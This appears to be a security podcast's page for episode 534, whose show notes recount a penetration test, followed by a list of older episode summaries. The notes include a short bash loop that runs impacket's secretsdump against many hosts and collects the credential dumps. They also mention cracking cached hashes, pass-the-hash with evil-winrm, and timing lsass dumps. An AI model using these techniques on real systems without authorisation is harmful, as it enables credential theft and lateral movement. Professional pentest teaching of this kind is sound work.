7MS #534: Tales of Pentest Pwnage - Part 41

7MS #534: Tales of Pentest Pwnage - Part 41

Hey friends, today we share the (hopefully) thrilling conclusion of last week's pentest. Here are some key points:

  • If you find you have local admin on a bunch of privileges and want to quickly loop through a secretsdump of ALL systems and save the output to a text file, this little hacky script will do it!
#!/bin/bash File="localadmin.txt" Lines=$(cat $File) for Line in $Lines do echo --- $Line --- >> dump.txt echo --------------------- >> dump.txt sudo python3 /opt/impacket/examples/secretsdump.py -k "$Line" >> dump.txt echo --------------------- >> dump.txt done

From those dumps you can definitely try to crack the DCC hashes using a local or cloud cracker - see our series on this topic for some guidance.

  • Got an NTLM hash for a privileged user and want to PS remote into a victim system? You can essentially do a PowerShell login pass-the-hash with evil-winrm!

  • The Brute Ratel crisis monitor is awesome for watching a box and monitoring for people logging in and out of it (perfect for getting ready to strike with lsass dumps!)

Jaksot(705)

7MS #73: PCI Pentesting 101 – Part 2 (audio)

7MS #73: PCI Pentesting 101 – Part 2 (audio)

This episode is the exciting continuation of a recent pentest I did, in which I got some serious pwnage, including cracking the domain admin password! 7MS #73: PCI Pentesting 101 – Part 2 (audio)

30 Kesä 20157min

7MS #72: PCI Pentesting 101 (audio)

7MS #72: PCI Pentesting 101 (audio)

I'm pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #72: PCI Pentesting 101 (audio)

25 Kesä 20157min

7MS #71: OFFTOPIC-Mad Max (audio)

7MS #71: OFFTOPIC-Mad Max (audio)

We're going totally off topic today and doing a movie review of Mad Max! 7MS #71: OFFTOPIC-Mad Max (audio)

23 Kesä 20158min

7MS #70: Get the Most out of Your DNS! (audio)

7MS #70: Get the Most out of Your DNS! (audio)

I'm pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #70: Get the Most out of Your DNS! (audio)

18 Kesä 20157min

7MS #69: I'm Not Responsible for Your Information Insecurity (audio)

7MS #69: I'm Not Responsible for Your Information Insecurity (audio)

Are you too hard on yourself? Do you think the success of your client's infosec program lives and dies with you? Listen to this episode. You might feel better. 7MS #69: I'm Not Responsible for Your Information Insecurity (audio)

16 Kesä 20158min

7MS #68: Is Training and Awareness Worth It or Worthless (audio)

7MS #68: Is Training and Awareness Worth It or Worthless (audio)

This episode is about something that got my undies in a bunch – I heard a security expert imply that training and awareness might be worthless! 7MS #68: Is Training and Awareness Worth It or Worthless (audio)

11 Kesä 20158min

7MS #67: Wifi Sniffing is Fun-Part 2 (audio)

7MS #67: Wifi Sniffing is Fun-Part 2 (audio)

This is a follow-up to episode #64, in which I did some fun wireless sniffing and tried to find sensitive data within it! In the episode I talk about the network "map" of my sniffing setup. It looks like this: Ethernet from client->upstream port of hub My laptop with Wireshark->Hub Wifi access point->Hub To find…

9 Kesä 20157min

7MS #66: I'm Excited to Go Phishing – Part 2 (audio)

7MS #66: I'm Excited to Go Phishing – Part 2 (audio)

This is a follow-up to episode #63, discussing the results of a fun phishing campaign I recently completed. 7MS #66: I'm Excited to Go Phishing – Part 2 (audio)

4 Kesä 20158min

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